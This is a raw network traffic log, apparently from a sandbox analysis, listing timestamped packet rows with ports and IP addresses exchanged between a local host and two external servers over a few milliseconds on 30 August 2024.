Aug 30, 2024 06:17:05.337477922 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.337518930 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.338016987 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.338035107 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.338083982 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.338090897 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.338124037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.351260900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351280928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351289034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351335049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351346970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351356030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351366043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351423025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351450920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351458073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351461887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351473093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351484060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351486921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351494074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351507902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351528883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351531029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351541996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351552963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351562023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351567030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351600885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351699114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351744890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351778984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351788044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351797104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351807117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351818085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351820946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351856947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351876974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351888895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351922035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.351948977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351958036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351967096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351977110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351993084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.351999998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352004051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352020025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352021933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352049112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352067947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352077961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352087975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352121115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352129936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352132082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352142096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352158070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352159023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352169037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352185965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352220058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.352232933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352243900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.352277040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353435993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353451967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353461981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353471994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353481054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353482008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353492022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353502989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353513002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353513002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353523970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353533983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353542089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353550911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353560925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353569984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353571892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353584051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353589058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353600979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353611946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353619099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353622913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353631973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353648901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353671074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353714943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353725910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353735924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353746891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353756905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353765011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353782892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353805065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353887081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353904009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353913069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353949070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.353954077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.353960991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354001999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354032040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354043007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354052067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354082108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354094982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354111910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354123116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354132891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354159117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354185104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354211092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354222059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354232073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354243040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354259968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354262114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354269028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354279041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354290962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354301929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354305029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354320049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354331017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354347944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354357004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354379892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354392052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354403019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354429960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354453087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354456902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354468107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354485035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354494095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354504108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354509115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354535103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354592085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354603052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354613066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354620934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354631901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354638100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354640961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354656935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354685068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354710102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354721069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354731083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354744911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354747057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354758978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354772091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.354773998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354805946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.354818106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355403900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355449915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355451107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355460882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355488062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355492115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355504036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355504990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355525017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355535984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355541945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355545998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355566025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355586052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355602026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355612040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355621099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355638027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355652094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355659962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355670929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355704069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355709076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355715036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355721951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.355745077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.355755091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.356100082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356146097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.356172085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356180906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356193066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356214046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.356229067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356234074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.356236935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356245995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356254101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.356267929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.356290102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.371998072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372016907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372025967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372064114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372064114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372072935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372082949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372104883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372114897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372123003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372133017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372133017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372147083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372162104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372175932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372307062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372317076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372325897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372334957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372344971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372354031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372363091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372376919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372376919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372395992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372397900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372407913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372416973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372425079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372432947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372437954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372442961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372458935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372499943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372508049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372519016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372529030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372566938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372566938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372596025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372605085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372615099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372625113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372636080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372654915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372654915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372685909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372747898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372757912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372766972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372775078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372786045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372793913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372803926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372812033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372823000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372823000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372833014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372865915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372891903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372900963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372910023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372920036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372930050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372939110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.372958899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.372958899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373008966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373025894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373035908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373044968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373054981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373064041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373075962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373101950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373265982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373275042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373284101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373292923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373302937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373313904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373322964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373332024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373337984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373337984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373337984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373342991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373348951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373353004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373363018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373374939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373378992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373399973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373413086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373508930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373521090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373528957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373539925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373553991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373589993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373589993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373589993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373639107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373647928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373656034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373665094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373675108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373684883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373689890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373693943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373703957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373709917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373729944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373755932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373760939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373770952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373780966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373832941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373832941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373920918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373930931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373939991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373950005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373959064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373969078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373975039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373975039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.373977900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.373990059 CEST	80	49733	147.45.44.104	192.168.2.4
